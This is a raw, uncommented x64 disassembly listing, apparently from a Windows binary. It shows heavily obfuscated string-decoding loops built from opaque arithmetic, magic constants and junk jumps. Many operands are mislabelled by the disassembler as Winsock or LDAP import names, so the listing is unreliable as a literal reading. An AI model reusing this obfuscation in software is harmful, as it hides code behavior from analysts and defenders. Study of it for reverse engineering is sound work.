add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
dec rdi
inc rdi
jmp 0x140093792
movabs rdx, 0xe2b6be4c530af540
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x140093792
movabs rcx, 0xfa180d2f886ac328
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400941bb
lea rax, [r8 + 9]
cmp r9, rax
jae 0x140093d4d
movabs rcx, 0xf44f588e6550190c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
jmp 0x140093b6a
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140093d93
movabs rdx, 0x1504875c9f241bf8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x7c8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140093792
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140093dd8
movabs rdx, 0xcee09ab2ff04b240
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140093e1b
movabs rcx, 0xb77f4bcfc9a4e458
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140093b6a
movabs rdx, 0x88bcae095ee54888
mov ecx, 0x24
jmp 0x1400941fe
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140093e5d
movabs rdx, 0x1f86cb0aeeb629f4
mov ecx, Ordinal_45
jmp 0x1400941a7
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140093e7e
movabs rdx, 0xf0c42d4483f68e24
mov ecx, 2
jmp 0x1400941fe
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140093ead
movabs rdx, 0xd962de614e96c03c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140094081
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140093ef2
movabs rdx, 0xaaa0409ae3d7246c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140093ba3
movabs rdx, 0x647c53f143b7bab4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x7c8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140093792
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x140093f7e
movabs rdx, 0x2a090eb93e4837f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x7c8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140093792
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140093fb3
movabs rdx, 0xfb4670f2d3889c20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140094277
lea rax, [rcx + 1]
cmp r9, rax
jne 0x140093ff6
movabs rcx, 0xcc83d32c68c90050
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14009402c
movabs rcx, 0x9dc13565fe096480
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140093792
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140093bdd
movabs rdx, 0x6efe979f9349c8b0
mov ecx, Ordinal_26
jmp 0x1400941a7
mov byte [rbp + rdi + 0x7c8], r11b
inc rdi
jmp 0x140093792
movabs rdx, 0x403bf9d9288a2ce0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x7c8]
sub r11b, al
sub r11b, 0x20
add r11b, dl
add r11b, bl
movabs rdx, 0x348b52678dda45ec
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x74
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x7c8], cl
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
movabs rdx, 0x28daaaf5f32a5ef8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x7c8]
add r11b, dl
add r11b, bl
jmp 0x140094277
movabs rcx, 0x4f77cc94a4939ebc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400942a5
movabs rcx, 0x66d91b77d9f36ca4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x140094277
movabs rdx, 0x7e3a6a5b0f533a8c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009423e
movabs rcx, 0x959bb93e44b30874
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
movabs rdx, 0xf320f4cb1a324014
mov ecx, Ordinal_60
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x4beca14ac33a13d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x7c8], cl
inc r8
dec rdi
inc rdi
jmp 0x140093792
movabs rdx, 0x50a63057efb177b4
mov ecx, 0xa
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140093792
movabs rdx, 0x96ca1d018fd0e16c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
mov rbx, r10
movabs rax, 0xae2b6be4c530af54
add rax, rdi
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rbx + rax]
sub r11b, 0x4c
movabs rcx, 0x1d2a0384587a7804
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x7c8], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0x11795c12bdca9110
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x70
add bl, cl
mov byte [rbp + rdi + 0x7c8], bl
inc r9
mov rax, r15
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x7c8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140093792
movabs rdx, 0xdcee09ab2ff04b24
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x7c8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140093792
movabs rdx, 0xed3901faa29d033c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009378e
movabs rdx, 0x49a50ddd7fcd124
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093776
lea rcx, [rbp + 0x150dbd8]
jmp 0x140094392
lea rcx, [rbp + 0x160f4e4]
jmp 0x140094392
lea rcx, [rbp + 0x7c8]
mov rdx, rsi
call fcn.140035b50
lea rdx, [0x140236b90]
lea rcx, [rbp + 0x240]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0x818], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x819], __WSAFDIsSet
mov byte [rbp + 0x81a], __WSAFDIsSet
mov byte [rbp + 0x81b], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x81c], 0xe1
mov byte [rbp + 0x81d], __WSAFDIsSet
mov byte [rbp + 0x81e], 0xe1
mov byte [rbp + 0x81f], 0xe2
mov byte [rbp + 0x820], Ordinal_41
mov byte [rbp + 0x821], Ordinal_200
mov byte [rbp + 0x822], 0xa2
mov byte [rbp + 0x823], 0xde
mov byte [rbp + 0x824], 0xdf
mov byte [rbp + 0x825], 0xa6
mov byte [rbp + 0x826], 0x3e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x827], xmm0
mov dword [rbp + 0x837], eax
movabs rsi, 0x33644371b1b2a80e
movabs r13, 0xf641ba119abf5d56
movabs r14, 0xb5b0078f05e7adb2
movabs r12, 0xc92c936bd068f306
movzx r10d, byte [rsp + 0x40]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400950e4
movzx r11d, byte [rbp + rbx + 0x818]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400950d8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400944d3
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x5a
jmp 0x140094500
je 0x14009504a
inc rax
cmp r8, rax
je 0x140094fab
lea rax, [r9 + 3]
cmp r8, rax
je 0x140094f80
lea rax, [r9 + 5]
cmp r8, rax
je 0x140094f4e
nop
cmp r9, rbx
ja 0x1400950cc
lea rax, [r9 + 8]
cmp r8, rax
jae 0x140094535
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x62
add r10b, dl
jmp 0x140094560
lea rax, [r9 + 1]
cmp r8, rax
je 0x140094efa
lea rax, [r9 + 3]
cmp r8, rax
je 0x140094ec1
lea rax, [r9 + 7]
cmp r8, rax
je 0x140094e99
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140094b09
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140094ae0
lea rax, [r9 + 9]
cmp r8, rax
je 0x140094ab2
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140094a88
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140094a65
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140094a2d
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400949f8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400949cf
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400949a6
lea rax, [r9 + 6]
cmp r8, rax
je 0x140094970
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140094570
lea r8, [r9 + 2]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400950a7
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009507e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140094723
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140094704
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400946e4
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400948cb
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140094877
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140094843
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140094570
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009480d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400947e5
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400947bc
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400947a8
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140094770
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140094747
lea r8, [r9 + 3]
lea r9, [r8 + 0x10]
jmp 0x140094570
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140094560
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2a
add r10b, dl
jmp 0x140094500
movabs rcx, 0xdca91f489aea385a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x140094495
movabs rdx, 0xd597bf23ed19106c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094e2b
movabs rcx, 0xe9144b00b79a55c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
movabs rdx, 0xfc90d6dd821b9b14
mov ecx, Ordinal_60
jmp 0x140094ed0
movabs rdx, 0x100d62ba4c9ce068
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094fcc
movabs rdx, 0x2389ee97171e25bc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x140095000
movabs rcx, 0x37067a73e19f6b10
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0x818]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094482
movabs rdx, 0x67bdd81bdbe29862
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x818], r10b
inc rbx
jmp 0x140094482
movabs rdx, 0x7b3a63f8a663ddb6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x7a
jb 0x140094867
movabs rdx, 0x1e302303a83f3044
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140094f19
movabs rdx, 0xa2337bb23b66685e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x140094e6e
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140094c28
movabs rdx, 0xada95631df993d7e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
add r10b, dl
cmp r8, 0x2a
jae 0x140094dff
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140094d38
movabs rdx, 0xe10d99a3914be58c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009489b
movabs rcx, 0x345994aa2a2ff054
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
movzx eax, byte [rbp + rbx + 0x818]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094482
movabs rdx, 0x47d62086f4b135a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140095000
movabs rdx, 0x5b52ac63bf327afc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094fcc
movabs rcx, 0x6ecf384089b3c050
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
movabs rcx, 0x824bc41d543505a4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
movabs rdx, 0x95c84ffa1eb64af8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140094e25
movabs rcx, 0xa944dbd6e937904c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
dec rbx
inc rbx
jmp 0x140094482
movabs rcx, 0xbcc167b3b3b8d5a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x140094482
movabs rdx, 0xd03df3907e3a1af4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140094f19
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140094b31
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x1400948ef
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140094b78
movabs rdx, 0x66c886e36365501c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x818]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094482
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140094bad
movabs rdx, 0x3fcf6f29ce62c574
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
add r10b, dl
jmp 0x140094fcc
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140094bf6
movabs rdx, 0x18d6577039603acc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400948ef
movabs rdx, 0x559cb936edef578
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x48
jmp 0x140094e28
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140094c5d
movabs rdx, 0x9a2cca551517f82a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
add r10b, dl
jmp 0x140094f19
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140094c99
movabs rdx, 0x7333b29b80156d82
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140094482
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140094ce2
movabs rdx, 0x4c3a9ae1eb12e2da
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140094d03
movabs rdx, 0x38be0f0520919d86
mov ecx, Ordinal_45
jmp 0x140094ed0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140094930
movabs rdx, 0x11c4f74b8b8f12de
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
jmp 0x140095000
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140094d7f
movabs rdx, 0xcd910dc6c6caa038
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x818]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094482
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140094dc3
movabs rcx, 0x7f9ede539cc58ae8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009489b
movabs rdx, 0x58a5c69a07c30040
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140094482
movabs rdx, 0xab39726ddbdeaf0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x818]
add r10b, r11b
add r10b, dl
movabs rdx, 0xf55138787d4846
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x818], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
movabs rcx, 0xf7370b4a133ca59c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x818]
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x140094fcc
movabs rdx, 0xaafc70682829c2c2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4e
add r10b, dl
jmp 0x140094fcc
movabs rdx, 0xbe78fc44f2ab0816
mov ecx, 0x33
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094482
movabs rcx, 0x1fe7b794e73162ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
movabs rcx, 0x1471dd1542fe8d9a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x36
add r11b, cl
mov byte [rbp + rbx + 0x818], r11b
inc r9
dec rbx
inc rbx
jmp 0x140094482
movabs rdx, 0x5a5d5b2b46b532b6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140094482
movabs rcx, 0x6dd9e7081136780a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
dec rbx
inc rbx
jmp 0x140094482
mov r11, rdx
movabs rcx, 0xbbcc167b3b3b8d5a
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x76
movabs rdx, 0xed78c55badfc02f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x818], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xe3ba7f6d48bb6048
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x818], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x818]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094482
movabs rcx, 0xe2c52e34d03e1802
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0x818]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094482
movabs rdx, 0xf025ab25656b7dae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140094480
movabs rcx, 0x3a237022fecc302
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
jmp 0x140094470
lea rcx, [rbp + 0x152bde0]
jmp 0x1400950eb
lea rcx, [rbp + 0x1521b36]
jmp 0x1400950eb
lea rcx, [rbp + 0x818]
mov rdx, rdi
call fcn.140035b50
mov byte [rbp + 0x840], gethostname
mov byte [rbp + 0x841], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x842], recv
mov byte [rbp + 0x843], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x844], 1
mov byte [rbp + 0x845], 3
mov byte [rbp + 0x846], 5
mov byte [rbp + 0x847], 0xa
mov byte [rbp + 0x848], 0x7e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x849], xmm0
mov qword [rbp + 0x859], rax
mov word [rbp + 0x861], ax
movabs rsi, 0xf560c87e7b76db1b
movabs r13, 0x8596e4f9d51e0a6f
movabs r14, 0x88ee53a6b74faa45
movabs r12, 0x7dc089b30d139567
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140095f95
movzx ebx, byte [rbp + rdi + 0x840]
mov r10, rbx
cmp r8, rdi
ja 0x140095f89
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400951da
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 9
jmp 0x140095214
je 0x140095f02
lea rax, [r9 + 3]
cmp r8, rax
je 0x140095e63
lea rax, [r9 + 4]
cmp r8, rax
je 0x140095e04
lea rax, [r9 + 2]
cmp r8, rax
je 0x140095ddb
lea rax, [r9 + 5]
cmp r8, rax
je 0x140095d89
cmp r9, rdi
ja 0x140095f7d
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140095248
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x43
add r11b, dl
jmp 0x140095280
lea rax, [r9 + 1]
cmp r8, rax
je 0x140095d65
inc rax
cmp r8, rax
je 0x140095d39
lea rax, [r9 + 3]
cmp r8, rax
je 0x140095d10
lea rax, [r9 + 6]
cmp r8, rax
je 0x140095cdd
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400958f0
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
